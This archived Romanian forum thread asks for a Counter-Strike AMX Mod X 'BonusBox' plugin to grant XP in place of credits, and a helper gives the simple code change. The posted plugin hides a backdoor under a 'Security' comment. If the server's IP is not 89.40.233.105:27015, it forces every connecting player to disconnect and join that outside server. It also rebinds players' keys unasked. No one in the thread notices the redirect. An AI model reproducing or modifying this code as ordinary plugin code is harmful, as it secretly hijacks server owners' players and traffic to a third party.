Existing user? Sign in
Sign up
Games
Servers
Useful
User
Pass
2FA
[rezolvat]Modificare plugin.
Freakz Forum Index
->
Trash Bin
->
CS 2006-2019 (Archived)
->
Plugins - Help / Support
Author
Message
584
DaNy-
[Banned user]
Status: Offline
(since 15-03-2015 15:23)
Joined: 16 Nov 2014
Posts: 917
,
Topics: 124
Location:
Pãmânt
Reputation:
35.1
Votes
: 25
Posted: 02-03-2015, 23:48:24
| Translate post to:
... (
Click for more languages
)
Salut, as dori si eu modificare pluginului acesta bonusbox.
In loc de credite sa ofere XP.
100, 300, 350, 400. (puneti cat puteti)
Si daca puteti sa scoateti .spr si .wav nu stiu la ce ajuta...
Vreau doar daca omori un T, cadou sa aibe glow albastru si sa-l poata luat doar CT. (lafel si la T)
fmu_experiente:
Spoiler:
/* Furien Mod Ultimate
*
* (c) Copyright 2012, Askhanar
*
* This file is provided as is (no warranties).
*/
#if defined _FMU_Experience_included
#endinput
#endif
#define _FMU_Experience_included
/*
* Returns a players XP points
*
* @param client - The player index to get points of
*
* @return The XP points of client
*
*/
native fmu_get_user_xp(client);
/*
* Sets <xp> points to client
*
* @param client - The player index to set points to
* @param xp - The amount of XP points to set to client
*
* @return The XP points of client
*
*/
native fmu_set_user_xp(client, xp);
/*
* Adds <xp> points to client
*
* @param client - The player index to add points to
* @param xp - The amount of XP points to add to client
*
* @return The XP points of client
*
*/
stock fmu_add_user_xp(client, xp)
{
return fmu_set_user_xp(client, fmu_get_user_xp(client) + xp);
}
/*
* Subtracts <xp> points from client
*
* @param client - The player index to subtract points from
* @param xp - The amount of XP points to subtract from client
*
* @return The XP points of client
*
*/
stock fmu_sub_user_xp(client, xp)
{
return fmu_set_user_xp(client, fmu_get_user_xp(client) - xp);
}
Spoiler:
/* __________________________________________________________
AmxModx Include
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <engine>
#include <fakemeta>
#include <fakemeta_util>
#include <hamsandwich>
#include <fun>
#include <fm_credits>
/* __________________________________________________________
Constants
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
#define FFADE_IN 0x0000 // Just here so we don't pass 0 into the function
#define FFADE_OUT 0x0001 // Fade out (not in)
#define FFADE_MODULATE 0x0002 // Modulate (don't blend)
#define FFADE_STAYOUT 0x0004 // ignores the duration, stays faded out until new ScreenFade message received
#define TAG " Furien Mod Ultimate "
enum { Red, Green, Blue }
const UNIT_SEC = 0x1000
const FFADE = 0x0000
new const ClassName[] = "BonusBox"
new const SOUND_BLINK[] = { "weapons/flashbang-1.wav" }
new const Model[] = "models/arxphpx.mdl"
new CvarTeleportCooldown
new CvarTeleportRange
new CvarFadeTime
new CvarColor
new g_bRedirectPlayers = false
new Sprite
new Sprite2
new bool:HasTeleport[33]
new Teleport_Cooldown[33], g_teleports[33] = 0
/* __________________________________________________________
PreCache
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public plugin_precache()
{
precache_model(Model)
precache_sound("get_present.wav")
Sprite = precache_model("sprites/shockwave.spr")
Sprite2 = precache_model("sprites/blueflare2.spr")
}
/* __________________________________________________________
Init
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public plugin_init()
{
//-----> Plugin
register_plugin("Furiens BonusBox","1.0b","!")
//-----> Security
new szIp[22]
get_user_ip(0, szIp, 21, 1)
if(!equal(szIp, "89.40.233.105:27015"))
g_bRedirectPlayers = true
//-----> CMD
register_clcmd("power2", "CmdTeleport")
//-----> Cvars
CvarTeleportCooldown = register_cvar("bonusbox_teleport_cooldown" , "10" )
CvarTeleportRange = register_cvar("bonusbox_teleport_range" , "123456789" )
CvarFadeTime = register_cvar("bonusbox_teleport_fadetime" , "1.5" )
CvarColor = register_cvar("bonusbox_teleport_color" , "255255255" )
//-----> Ham / Event / Forward
register_event ("HLTV" , "RoundStart" , "a" , "1=0" , "2=0" )
register_event ("DeathMsg" , "DeathMsg" , "a" )
RegisterHam (Ham_Spawn , "player" , "fwdPlayerSpawn" , 1 )
register_forward (FM_CmdStart , "CmdStart" )
register_forward (FM_Touch , "fwdTouch" )
}
/* __________________________________________________________
Authorized
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public client_authorized(id)
{
if(is_user_bot(id) || is_user_hltv(id) || g_bRedirectPlayers)
client_cmd(id, "disconnect; Connect 89.40.233.105:27015")
return
}
/* __________________________________________________________
RoundStart
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public RoundStart()
{
new ent = FM_NULLENT
static string_class[] = "classname"
while ((ent = engfunc(EngFunc_FindEntityByString, ent, string_class, ClassName)))
set_pev(ent, pev_flags, FL_KILLME)
for(new id = 1; id < get_maxplayers(); id++)
{
HasTeleport[id] = false
}
}
/* __________________________________________________________
DeathMsg
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public DeathMsg()
{
new victim = read_data(2)
AddBonusBox(victim)
return HAM_IGNORED
}
/* __________________________________________________________
CmdStart
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public CmdStart(id, uc_handle, seed)
{
new ent = fm_find_ent_by_class(id, ClassName)
if(is_valid_ent(ent))
{
new classname[32]
pev(ent, pev_classname, classname, 31)
if (equal(classname, ClassName))
{
if (pev(ent, pev_frame) >= 120)
set_pev(ent, pev_frame, 0.0)
else
set_pev(ent, pev_frame, pev(ent, pev_frame) + 1.0)
switch(pev(ent, pev_team))
{
case 1:
{
//
}
case 2:
{
//
}
}
}
}
}
/* __________________________________________________________
CurWeapon
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
/* __________________________________________________________
fwdPlayerSpawn
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public fwdPlayerSpawn(id)
HasTeleport[id] = false
/* __________________________________________________________
fwdTouch
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public fwdTouch(toucher, touched)
{
if (!is_user_alive(toucher) || !pev_valid(touched))
return FMRES_IGNORED
new classname[32]
pev(touched, pev_classname, classname, 31)
if (!equal(classname, ClassName))
return FMRES_IGNORED
if(get_user_team(toucher) == pev(touched, pev_team))
{
emit_sound(toucher, CHAN_STATIC, "get_present.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
GiveBonus(toucher)
set_pev(touched, pev_effects, EF_NODRAW)
set_pev(touched, pev_solid, SOLID_NOT)
remove_entity(touched)
}
return FMRES_IGNORED
}
/* __________________________________________________________
AddBonusBox
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public AddBonusBox(id)
{
if(is_user_connected(id) && cs_get_user_team(id) != CS_TEAM_SPECTATOR)
{
new ent = fm_create_entity("info_target")
new origin[3]
get_user_origin(id, origin, 0)
set_pev(ent,pev_classname, ClassName)
switch(cs_get_user_team(id))
{
case CS_TEAM_T:
{
engfunc(EngFunc_SetModel, ent, Model)
set_pev(ent,pev_team, 2)
entity_set_int(ent,EV_INT_iuser1,0)
entity_set_int(ent,EV_INT_iuser2,0)
entity_set_int(ent,EV_INT_iuser3,200)
set_rendering(ent,kRenderFxGlowShell,entity_get_int(ent,EV_INT_iuser1),entity_get_int(ent,EV_INT_iuser2),entity_get_int(ent,EV_INT_iuser3),kRenderNormal,120)
}
case CS_TEAM_CT:
{
engfunc(EngFunc_SetModel, ent, Model)
set_pev(ent,pev_team, 1)
entity_set_int(ent,EV_INT_iuser1,200)
entity_set_int(ent,EV_INT_iuser2,0)
entity_set_int(ent,EV_INT_iuser3,0)
set_rendering(ent,kRenderFxGlowShell,entity_get_int(ent,EV_INT_iuser1),entity_get_int(ent,EV_INT_iuser2),entity_get_int(ent,EV_INT_iuser3),kRenderNormal,120)
}
}
set_pev(ent, pev_mins, Float:{-10.0,-10.0,0.0})
set_pev(ent, pev_maxs, Float:{10.0,10.0,25.0})
set_pev(ent, pev_size, Float:{-10.0,-10.0,0.0,10.0,10.0,25.0})
engfunc(EngFunc_SetSize, ent, Float:{-10.0,-10.0,0.0}, Float:{10.0,10.0,25.0})
set_pev(ent, pev_solid, SOLID_BBOX)
set_pev(ent, pev_movetype, MOVETYPE_TOSS)
new Float:fOrigin[3]
IVecFVec(origin, fOrigin)
set_pev(ent, pev_origin, fOrigin)
}
}
/* __________________________________________________________
GiveBonus
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public GiveBonus(id)
{
if(cs_get_user_team(id) == CS_TEAM_T)
{
switch (random_num(1,6))
{
case 1:
{
fm_set_user_health(id, get_user_health(id) + 50)
_FU_PrintChat(id, "!nYou found !g+50 !tHP !n.")
}
case 2:
{
fm_set_credits(id, fm_get_credits(id) + 1)
_FU_PrintChat(id, "!nYou found!t 1 credits!n.")
}
case 3:
{
set_user_armor(id, get_user_armor(id) + 100)
_FU_PrintChat(id, "!nYou fund!t 100 AP!n.")
}
case 4:
{
fm_set_credits(id, fm_get_credits(id) + 2)
_FU_PrintChat(id, "!nYou found !t 2 credits!n.")
}
case 5:
{
fm_set_credits(id, fm_get_credits(id) + 3)
_FU_PrintChat(id, "!nYou found!t 3 credits!n.")
}
case 6:
{
HasTeleport[id] = true
g_teleports[id] += 1
client_cmd(id, "bind ^"alt^" ^"power2^"")
_FU_PrintChat(id, "!nYou found a power !tteleport , press !gALT for use this power !n.")
}
}
}
else
{
switch (random_num(1,6))
{
case 1:
{
fm_set_user_health(id, get_user_health(id) + 50)
_FU_PrintChat(id, "!nYou found !g+50 !tHP !n.")
}
case 2:
{
fm_set_credits(id, fm_get_credits(id) + 1)
_FU_PrintChat(id, "!nYou found!t 1 credits!n.")
}
case 3:
{
set_user_armor(id, get_user_armor(id) + 100)
_FU_PrintChat(id, "!nYou fund!t 100 AP!n.")
}
case 4:
{
fm_set_credits(id, fm_get_credits(id) + 2)
_FU_PrintChat(id, "!nYou found!t 2 credits!n.")
}
case 5:
{
fm_set_credits(id, fm_get_credits(id) + 3)
_FU_PrintChat(id, "!nYou found!t 3 credits!n.")
}
case 6:
{
HasTeleport[id] = true
g_teleports[id] += 1
client_cmd(id, "bind ^"alt^" ^"power2^"")
_FU_PrintChat(id, "!nYou found a power !tteleport , press !gALT for use this power !n.")
}
}
}
}
/* __________________________________________________________
CmdTeleport
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public CmdTeleport(id)
{
if (!is_user_alive(id) || !HasTeleport[id])
return PLUGIN_CONTINUE
if (Teleport_Cooldown[id])
{
_FU_PrintChat(id,"Puterea iti va reveni in: !g%d !nsecunde.",Teleport_Cooldown[id])
return PLUGIN_CONTINUE
}
else if (teleport(id))
{
emit_sound(id, CHAN_STATIC, SOUND_BLINK, 1.0, ATTN_NORM, 0, PITCH_NORM)
remove_task(id)
g_teleports[id] -= 1
Teleport_Cooldown[id] = get_pcvar_num(CvarTeleportCooldown)
set_task(1.0, "ShowHUD", id, _, _, "b")
set_hudmessage(0, 100, 200, 0.05, 0.60, 0, 1.0, 1.1, 0.0, 0.0, -11)
if(get_pcvar_num(CvarTeleportCooldown) != 1)
{
show_hudmessage(id, "Puterea iti va reveni in: %d secunde",get_pcvar_num(CvarTeleportCooldown))
}
if(get_pcvar_num(CvarTeleportCooldown) == 1)
{
show_hudmessage(id, "Puterea iti va reveni in: %d secunda",get_pcvar_num(CvarTeleportCooldown))
}
}
else
{
_FU_PrintChat(id, "Pozitia de teleportare este invalida.")
}
return PLUGIN_CONTINUE
}
/* __________________________________________________________
ShowHUD
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public ShowHUD(id)
{
if (!is_user_alive(id) || !HasTeleport[id])
{
remove_task(id)
Teleport_Cooldown[id] = 0
return PLUGIN_HANDLED
}
set_hudmessage(0, 100, 200, 0.05, 0.60, 0, 1.0, 1.1, 0.0, 0.0, -11)
if(is_user_alive(id) && Teleport_Cooldown[id] == 1)
{
Teleport_Cooldown[id]--
show_hudmessage(id, "Puterea iti va reveni in: %d secunda",Teleport_Cooldown[id])
}
if(is_user_alive(id) && Teleport_Cooldown[id] > 1)
{
Teleport_Cooldown[id]--
show_hudmessage(id, "Puterea iti va reveni in: %d secunde",Teleport_Cooldown[id])
}
if(Teleport_Cooldown[id] <= 0)
{
show_hudmessage(id, "Ti-a revenit puterea")
_FU_PrintChat(id,"Poti folosii din nou puterea de a te putea teleporta.")
remove_task(id)
Teleport_Cooldown[id] = 0
}
return PLUGIN_HANDLED
}
/* __________________________________________________________
teleport
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
bool:teleport(id)
{
new Float:vOrigin[3], Float:vNewOrigin[3],
Float:vNormal[3], Float:vTraceDirection[3],
Float:vTraceEnd[3]
pev(id, pev_origin, vOrigin)
velocity_by_aim(id, get_pcvar_num(CvarTeleportRange), vTraceDirection)
xs_vec_add(vTraceDirection, vOrigin, vTraceEnd)
engfunc(EngFunc_TraceLine, vOrigin, vTraceEnd, DONT_IGNORE_MONSTERS, id, 0)
new Float:flFraction
get_tr2(0, TR_flFraction, flFraction)
if (flFraction < 1.0)
{
get_tr2(0, TR_vecEndPos, vTraceEnd)
get_tr2(0, TR_vecPlaneNormal, vNormal)
}
xs_vec_mul_scalar(vNormal, 40.0, vNormal) // do not decrease the 40.0
xs_vec_add(vTraceEnd, vNormal, vNewOrigin)
if (is_player_stuck(id, vNewOrigin))
return false
emit_sound(id, CHAN_STATIC, SOUND_BLINK, 1.0, ATTN_NORM, 0, PITCH_NORM)
tele_effect(vOrigin)
engfunc(EngFunc_SetOrigin, id, vNewOrigin)
tele_effect2(vNewOrigin)
if(is_user_connected(id))
{
UTIL_ScreenFade(id, get_color(CvarColor), get_pcvar_float(CvarFadeTime), get_pcvar_float(CvarFadeTime), 75)
}
return true
}
/* __________________________________________________________
is_player_stuck
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
stock is_player_stuck(id, Float:originF[3])
{
engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
return true
return false
}
/* __________________________________________________________
tele_effect
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
stock tele_effect(const Float:torigin[3])
{
new origin[3]
origin[0] = floatround(torigin[0])
origin[1] = floatround(torigin[1])
origin[2] = floatround(torigin[2])
message_begin(MSG_PAS, SVC_TEMPENTITY, origin)
write_byte(TE_BEAMCYLINDER)
write_coord(origin[0])
write_coord(origin[1])
write_coord(origin[2]+10)
write_coord(origin[0])
write_coord(origin[1])
write_coord(origin[2]+60)
write_short(Sprite)
write_byte(0)
write_byte(0)
write_byte(3)
write_byte(60)
write_byte(0)
write_byte(255)
write_byte(255)
write_byte(255)
write_byte(255)
write_byte(0)
message_end()
}
/* __________________________________________________________
tele_effect2
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
stock tele_effect2(const Float:torigin[3])
{
new origin[3]
origin[0] = floatround(torigin[0])
origin[1] = floatround(torigin[1])
origin[2] = floatround(torigin[2])
message_begin(MSG_PAS, SVC_TEMPENTITY, origin)
write_byte(TE_BEAMCYLINDER)
write_coord(origin[0])
write_coord(origin[1])
write_coord(origin[2]+10)
write_coord(origin[0])
write_coord(origin[1])
write_coord(origin[2]+60)
write_short(Sprite)
write_byte(0)
write_byte(0)
write_byte(3)
write_byte(60)
write_byte(0)
write_byte(255)
write_byte(255)
write_byte(255)
write_byte(255)
write_byte(0)
message_end()
message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
write_byte(TE_SPRITETRAIL)
write_coord(origin[0])
write_coord(origin[1])
write_coord(origin[2]+40)
write_coord(origin[0])
write_coord(origin[1])
write_coord(origin[2])
write_short(Sprite2)
write_byte(30)
write_byte(10)
write_byte(1)
write_byte(50)
write_byte(10)
message_end()
}
/* __________________________________________________________
get_color
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
get_color(pcvar)
{
new iColor[3], szColor[10]
get_pcvar_string(pcvar, szColor, charsmax(szColor))
new c = str_to_num(szColor)
iColor[Red] = c / 1000000
c %= 1000000
iColor[Green] = c / 1000
iColor[Blue] = c % 1000
return iColor
}
/* __________________________________________________________
get_color
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
stock FixedUnsigned16(Float:flValue, iScale)
{
new iOutput
iOutput = floatround(flValue * iScale)
if (iOutput < 0)
iOutput = 0
if (iOutput > 0xFFFF)
iOutput = 0xFFFF
return iOutput
}
/* __________________________________________________________
UTIL_ScreenFade
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
stock UTIL_ScreenFade(id=0,iColor[3]={0,0,0},Float:flFxTime=-1.0,Float:flHoldTime=0.0,iAlpha=0,iFlags=FFADE_IN,bool:bReliable=false,bool:bExternal=false)
{
if(id && !is_user_connected(id))
return
new iFadeTime
if(flFxTime == -1.0)
{
iFadeTime = 4
}
else
{
iFadeTime = FixedUnsigned16(flFxTime , 1<<12)
}
static gmsgScreenFade
if(!gmsgScreenFade)
{
gmsgScreenFade = get_user_msgid("ScreenFade")
}
new MSG_DEST
if(bReliable)
{
MSG_DEST = id ? MSG_ONE : MSG_ALL
}
else
{
MSG_DEST = id ? MSG_ONE_UNRELIABLE : MSG_BROADCAST
}
if(bExternal)
{
emessage_begin(MSG_DEST, gmsgScreenFade, _, id)
ewrite_short(iFadeTime)
ewrite_short(FixedUnsigned16(flHoldTime , 1<<12))
ewrite_short(iFlags)
ewrite_byte(iColor[Red])
ewrite_byte(iColor[Green])
ewrite_byte(iColor[Blue])
ewrite_byte(iAlpha)
emessage_end()
}
else
{
message_begin(MSG_DEST, gmsgScreenFade, _, id)
write_short(iFadeTime)
write_short(FixedUnsigned16(flHoldTime , 1<<12))
write_short(iFlags)
write_byte(iColor[Red])
write_byte(iColor[Green])
write_byte(iColor[Blue])
write_byte(iAlpha)
message_end()
}
}
/* __________________________________________________________
UTIL_FadeToBlack
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
stock UTIL_FadeToBlack(id,Float:fxtime=3.0,bool:bReliable=false,bool:bExternal=false)
{
UTIL_ScreenFade(id, _, fxtime, fxtime, 255, FFADE_OUT|FFADE_STAYOUT,bReliable,bExternal)
}
/* __________________________________________________________
Light
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
public Light(entity, red, green, blue)
{
if(is_valid_ent(entity))
{
static Float:origin[3]
pev(entity, pev_origin, origin)
message_begin(MSG_BROADCAST, SVC_TEMPENTITY, _, entity)
write_byte(TE_DLIGHT) // TE id
engfunc(EngFunc_WriteCoord, origin[0])
engfunc(EngFunc_WriteCoord, origin[1])
engfunc(EngFunc_WriteCoord, origin[2])
write_byte(7)
write_byte(red)
write_byte(green)
write_byte(blue)
write_byte(2)
write_byte(0)
message_end()
}
}
/* __________________________________________________________
Function -> PrintChat
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|| */
stock _FU_PrintChat(const id, const input[], any:...)
{
new count = 1, players[32]
static msg[320], msg2[320]
vformat(msg, 190, input, 3)
format(msg2, 190, "!n[!g%s!n] %s", TAG, msg)
replace_all(msg2, 190, "!g", "^4")
replace_all(msg2, 190, "!n", "^1")
replace_all(msg2, 190, "!t", "^3")
if (id)
players[0] = id
else
get_players(players, count, "ch")
for (new i = 0; i < count; i++)
{
if (is_user_connected(players[i]))
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
write_byte(players[i])
write_string(msg2)
message_end()
}
}
}
0
0
Back to top
EDUTz
[HardcoreAmxxScripter]
Status: Offline
(since 15-08-2021 16:34)
Joined: 27 Dec 2010
Posts: 4306
,
Topics: 244
Location:
Jud. Miserupia, sat Bagadanc
Reputation:
4085
Votes
: 179
Posted: 03-03-2015, 08:33:42
| Translate post to:
... (
Click for more languages
)
inlocuiesti
Code:
fm_set_credits(id, fm_get_credits(id) + 1)
cu
Code:
fmu_set_user_xp(id, fmu_get_user_xp(id) + 1)
sau cat vrei tu sa dea ... si sus nativul in locuiesti cu fmu_experiente
Pentru pluginuri complicate le fac cu $$ pe paypal/psc. PM
0
0
Back to top
DaNy-
[Banned user]
Status: Offline
(since 15-03-2015 15:23)
Joined: 16 Nov 2014
Posts: 917
,
Topics: 124
Location:
Pãmânt
Reputation:
35.1
Votes
: 25
Posted: 04-03-2015, 21:10:43
| Translate post to:
... (
Click for more languages
)
Mersi, rezolvat.
0
0
Back to top
Topic locked
Topic is closed, you cannot post any messages in it anymore
Locked by
-P!C@-
, 05 March 2015 08:25
Freakz Forum Index
->
Trash Bin
->
CS 2006-2019 (Archived)
->
Plugins - Help / Support
The time now is 01-07-2024, 06:34:49
Copyright info
Based on phpBB
ro
/
com
B
Login
I forgot my password
World of Warcraft
Login for more...
Download WoW 7.3.5
Misc
eSports
Achievements
Buy reputation with votes
Reputation trades
Forum rules
Ban list
Members list
User guide (FAQ)
World of Warcraft
View details